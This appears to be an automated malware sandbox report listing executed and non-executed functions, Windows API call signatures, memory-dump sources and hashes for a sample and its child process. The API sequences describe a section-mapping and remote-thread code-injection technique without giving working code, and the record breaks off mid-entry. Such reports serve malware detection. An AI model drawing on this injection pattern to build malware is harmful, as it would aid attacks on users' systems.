Source File: 00000000.00000002.1862464987.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kGSZ4dCqYh.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: d8025aa2a73fa1757bf9d96cb7b1acd78e4ac8c64498884b03c6ab91ddf532bc
Instruction ID: f2d5e20ae79a609852431105b0704d648b73f45673a5aa535929140ce5e9a1ec
Opcode Fuzzy Hash: d8025aa2a73fa1757bf9d96cb7b1acd78e4ac8c64498884b03c6ab91ddf532bc
Instruction Fuzzy Hash: 42614DB0900209FFEB218F91CC48FAF7BB8EF85710F10012AF952BA1E5D6749941DB25

Function 0040158E Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F2
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401723
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401745

Memory Dump Source

Source File: 00000000.00000002.1862464987.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kGSZ4dCqYh.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: b0195c2069dc6e331d8d87e09b392f04d65fbe6eaf74cb5c44d370e3a2e163ea
Instruction ID: 0dfbee2a1f0830b6acdc9e972913786be015a59f94024eee438c43ca1dd55f4f
Opcode Fuzzy Hash: b0195c2069dc6e331d8d87e09b392f04d65fbe6eaf74cb5c44d370e3a2e163ea
Instruction Fuzzy Hash: BA5139B1900249BFEF218F91CC49FEBBFB8EF86714F140159F951AA2A5D670A941CB24

Function 004015BC Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F2
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401723
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401745

Memory Dump Source

Source File: 00000000.00000002.1862464987.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kGSZ4dCqYh.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: cc208e499be32a7b8d2e1b8f44698ba7bae8291931bb2c7a737ae2018edfaae9
Instruction ID: 9e9cfe78a9b9fcbe8a20f4c56589f3f995e8910032e3214eb5438fd9bfe06916
Opcode Fuzzy Hash: cc208e499be32a7b8d2e1b8f44698ba7bae8291931bb2c7a737ae2018edfaae9
Instruction Fuzzy Hash: 855129B1900249BFEF218F91CC48FAFBBB8EF86B15F100159F951AA2A5D7709940CB20

Function 00403054 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 0040317C
NtTerminateProcess.NTDLL ref: 0040318D

Memory Dump Source

Source File: 00000000.00000002.1862464987.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kGSZ4dCqYh.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction ID: bb3d83799e525a3431e0f051c565fd2002d42970a2b52bf5f395df3a052ac564
Opcode Fuzzy Hash: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction Fuzzy Hash: 9F412732618E0C4FD768EE6CA84966377D5E798311F1A43ABD809D7389EE30D85187C5

Function 006019D7 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 006019FF
Module32First.KERNEL32(00000000,00000224), ref: 00601A1F

Memory Dump Source

Source File: 00000000.00000002.1862925311.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_kGSZ4dCqYh.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 7069c18228d0ffb264b2c9333f6c58bf6fb7589aae838ab9b83557068d1c4ec7
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 15F0CD322403116BD7242BF9A88DBAB72E9AF4A720F100628F642A91C0DA70EC054A60

Function 0062003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0062024D

Strings

cess, xrefs: 0062018D
kernel32.dll, xrefs: 0062008F, 00620095

Memory Dump Source

Source File: 00000000.00000002.1862957209.0000000000620000.00000040.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_kGSZ4dCqYh.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 42ec4702e70d4e90e99a8a4f860a1c510c2e99c0fd791167ea9c40f41969c617
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: FB526874A01229DFDB64CF58D985BA8BBB1BF09304F1480D9E94DAB352DB30AE85DF14

Function 00620E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00620223,?,?), ref: 00620E19
SetErrorMode.KERNELBASE(00000000,?,?,00620223,?,?), ref: 00620E1E

Memory Dump Source

Source File: 00000000.00000002.1862957209.0000000000620000.00000040.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_kGSZ4dCqYh.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: ca7d39d3f00bb23aeb65542139c9111eb9232972a72a4ee517b453a7e7f206fa
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: FCD0123114512877D7002A94DC09BCD7B1CDF05B62F008411FB0DD9581C770994046E5

Function 00401919 Relevance: 1.3, APIs: 1, Instructions: 79
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Memory Dump Source

Source File: 00000000.00000002.1862464987.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kGSZ4dCqYh.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2b935ac753e934015516d799e1095bac90694ea099bafde975148c207ca850c9
Instruction ID: 49835af623e861a6f2ddbc0bf662c5c40176c384461ea98b099af7f339eb22c4
Opcode Fuzzy Hash: 2b935ac753e934015516d799e1095bac90694ea099bafde975148c207ca850c9
Instruction Fuzzy Hash: 7911DCB234C201EBD6009A84A862E7A3214AB51359F304537FA57B90F2D57D9A13F76F

Function 00401959 Relevance: 1.3, APIs: 1, Instructions: 66
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000000.00000002.1862464987.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kGSZ4dCqYh.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 973fe8c7f692c8164376a233d22da1c8e21a759768f578ec8ae17a8f290018c7
Instruction ID: 220a72f44c34cad911d214d6bf830d158092726683e2111099ccb198781fee4b
Opcode Fuzzy Hash: 973fe8c7f692c8164376a233d22da1c8e21a759768f578ec8ae17a8f290018c7
Instruction Fuzzy Hash: 1311BCB1648204FADA009A849C62E7A3228AB41754F204137BA47B90F1C57DA913EAAF

Function 00401970 Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000000.00000002.1862464987.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kGSZ4dCqYh.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: b0ddfabd172ae9c3cb26196b0cb86bb5accc73c170931bda3ffef6ca5bc85053
Instruction ID: edf3ac2f4a0a3dadc82130375ffc9a201d65d5ca35b25829e414e95522c05f9b
Opcode Fuzzy Hash: b0ddfabd172ae9c3cb26196b0cb86bb5accc73c170931bda3ffef6ca5bc85053
Instruction Fuzzy Hash: AA01C0B174C104EBDB009A84DC62E7A3214AF41704F204537BA57B91F1C53EAA23FB5B

Function 00401977 Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000000.00000002.1862464987.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kGSZ4dCqYh.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 547ce1ee7459762dd25db0cd36bc5e4baa4f04934683c573935985333de64e11
Instruction ID: c889a794982209429869940d23560ef391d683eb1520a1ae8baa03dfc3eb9000
Opcode Fuzzy Hash: 547ce1ee7459762dd25db0cd36bc5e4baa4f04934683c573935985333de64e11
Instruction Fuzzy Hash: E601E1B1308100EBD7009B849C51ABA3614AF41314F20413BB957790E2C53EAA22EB5B

Function 00401987 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000000.00000002.1862464987.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kGSZ4dCqYh.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 48afa338b6eb4ead81a9d6383d5bdcf6d33ddda25fb9a1f4e9ca7df9d9b0c8b0
Instruction ID: 1aa0efa7bda459d32f82bf33ce90feabc7a2b43109eca8adeaaf204144b81d62
Opcode Fuzzy Hash: 48afa338b6eb4ead81a9d6383d5bdcf6d33ddda25fb9a1f4e9ca7df9d9b0c8b0
Instruction Fuzzy Hash: C201C0B1708104EBDB009A84DC62E7A3214AF41714F204137BA57791F1C53EAA23FB5B

Function 0040198A Relevance: 1.3, APIs: 1, Instructions: 50
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000000.00000002.1862464987.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kGSZ4dCqYh.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 66f4d7de36bf33a8276767325b567db769fa807301e16b4e03cd2b1c881b4aa0
Instruction ID: 93e9f4b763319a312fe66b3304ba82e0c9e14e36225fd67d869cb8e68c59c211
Opcode Fuzzy Hash: 66f4d7de36bf33a8276767325b567db769fa807301e16b4e03cd2b1c881b4aa0
Instruction Fuzzy Hash: 5501B572308244EBDB019F90DC92EAE3728AF45318F24017BB557790E2C53DA912EB1B

Function 00601696 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 006016E7

Memory Dump Source

Source File: 00000000.00000002.1862925311.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_kGSZ4dCqYh.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: b9abbc90aa05ea29814438a8c338ac5a84343a202bced34a37e35c4b1e36a204
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: E3113C79A40208EFDB01DF98C985E99BBF5AF08350F058094F9489B362D771EA50DF80

Non-executed Functions

Function 0062092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 006209DC, 006209DF, 006209E4
., xrefs: 0062095F
l, xrefs: 00620966

Memory Dump Source

Source File: 00000000.00000002.1862957209.0000000000620000.00000040.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_kGSZ4dCqYh.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 2ba7ce5c814ab9565d4597d47c006d941323b89efae0f9c485d6973fd74c974a
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: BF3138B6901619DFEB10CF99D880AEDBBF6FF48324F14504AD441A7312D771AA85CFA4

Function 00402721 Relevance: 1.4, Strings: 1, Instructions: 151COMMON

Download Yara Rule

Strings

#X%, xrefs: 0040273A

Memory Dump Source

Source File: 00000000.00000002.1862464987.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kGSZ4dCqYh.jbxd

Similarity

API ID:
String ID: #X%
API String ID: 0-730838689
Opcode ID: 245b7a6330694b5c367d3b257ccbe4366a0bf95add0a101e660e11a0368d02b9
Instruction ID: 71e09992ebba1ebce1a14e5228dc5e73fa07ad40964d1ad344f7d49068a62d69
Opcode Fuzzy Hash: 245b7a6330694b5c367d3b257ccbe4366a0bf95add0a101e660e11a0368d02b9
Instruction Fuzzy Hash: 2441DC352485539DC30299188E899EABF79FDC7398B10017ED8C2AB9D3CBA02517D3B6

Function 00401A28 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862464987.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kGSZ4dCqYh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24dfe36045d0991ac749a0892ad312c9a4e30bcc45954bcab72f1b8cf2b0dd63
Instruction ID: 18334b27c1f95b13a70b5794667acb6e5ebe9408c321dbf9d60f89b0be35e569
Opcode Fuzzy Hash: 24dfe36045d0991ac749a0892ad312c9a4e30bcc45954bcab72f1b8cf2b0dd63
Instruction Fuzzy Hash: AA51AE612492109FE71989358C829B637219F43726F2C327FE98267EE6D379D4438A4A

Function 006012B4 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862925311.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_kGSZ4dCqYh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: b95ee2f3405d58ffd56745f0012b1804cb726cbe13f6560bba5720daa0619b56
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 7C1170723801009FD748DF55DC81FA773EAEB89320B298069ED04CB755D675E842C760

Function 00620D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862957209.0000000000620000.00000040.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_kGSZ4dCqYh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 24baee486935e57d3a0b741057cb9f05ffc7e32a8ab280632829428391162b7e
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 0301F776601A108FEF21CF60E804BEA33F7EF85305F0548E4D90697342E770A8418F80

Analysis Process: dvjdfvrPID: 5164, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	108
Total number of Limit Nodes:	2

Executed Functions

Function 00401583 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F2
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401723
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401745

Memory Dump Source

Source File: 00000005.00000002.2090213595.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_dvjdfvr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: d8025aa2a73fa1757bf9d96cb7b1acd78e4ac8c64498884b03c6ab91ddf532bc
Instruction ID: f2d5e20ae79a609852431105b0704d648b73f45673a5aa535929140ce5e9a1ec
Opcode Fuzzy Hash: d8025aa2a73fa1757bf9d96cb7b1acd78e4ac8c64498884b03c6ab91ddf532bc
Instruction Fuzzy Hash: 42614DB0900209FFEB218F91CC48FAF7BB8EF85710F10012AF952BA1E5D6749941DB25

Function 0040158E Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F2
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401723
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401745

Memory Dump Source

Source File: 00000005.00000002.2090213595.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_dvjdfvr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: b0195c2069dc6e331d8d87e09b392f04d65fbe6eaf74cb5c44d370e3a2e163ea
Instruction ID: 0dfbee2a1f0830b6acdc9e972913786be015a59f94024eee438c43ca1dd55f4f
Opcode Fuzzy Hash: b0195c2069dc6e331d8d87e09b392f04d65fbe6eaf74cb5c44d370e3a2e163ea
Instruction Fuzzy Hash: BA5139B1900249BFEF218F91CC49FEBBFB8EF86714F140159F951AA2A5D670A941CB24

Function 004015BC Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F2
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401723
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401745

Memory Dump Source

Source File: 00000005.00000002.2090213595.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_dvjdfvr.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: cc208e499be32a7b8d2e1b8f44698ba7bae8291931bb2c7a737ae2018edfaae9
Instruction ID: 9e9cfe78a9b9fcbe8a20f4c56589f3f995e8910032e3214eb5438fd9bfe06916
Opcode Fuzzy Hash: cc208e499be32a7b8d2e1b8f44698ba7bae8291931bb2c7a737ae2018edfaae9
Instruction Fuzzy Hash: 855129B1900249BFEF218F91CC48FAFBBB8EF86B15F100159F951AA2A5D7709940CB20

Function 00403054 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 0040317C
NtTerminateProcess.NTDLL ref: 0040318D

Memory Dump Source

Source File: 00000005.00000002.2090213595.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_dvjdfvr.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction ID: bb3d83799e525a3431e0f051c565fd2002d42970a2b52bf5f395df3a052ac564
Opcode Fuzzy Hash: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction Fuzzy Hash: 9F412732618E0C4FD768EE6CA84966377D5E798311F1A43ABD809D7389EE30D85187C5

Function 0055003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0055024D

Strings

cess, xrefs: 0055018D
kernel32.dll, xrefs: 0055008F, 00550095

Memory Dump Source

Source File: 00000005.00000002.2090478524.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_550000_dvjdfvr.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 45bb27c3125b16f6db0b06f06b814a4eb305919380205288ee8db3488fa42a7c
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 39526C74A00229DFDB64CF58C995BA8BBB1BF09305F1480DAE94DA7351DB30AE89DF14

Function 005319D7 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 005319FF
Module32First.KERNEL32(00000000,00000224), ref: 00531A1F

Memory Dump Source

Source File: 00000005.00000002.2090450815.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_520000_dvjdfvr.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 0a18dc108f91c45d530b43be9e28cb3a195ea6a2cd38313b1d272b70ba000deb
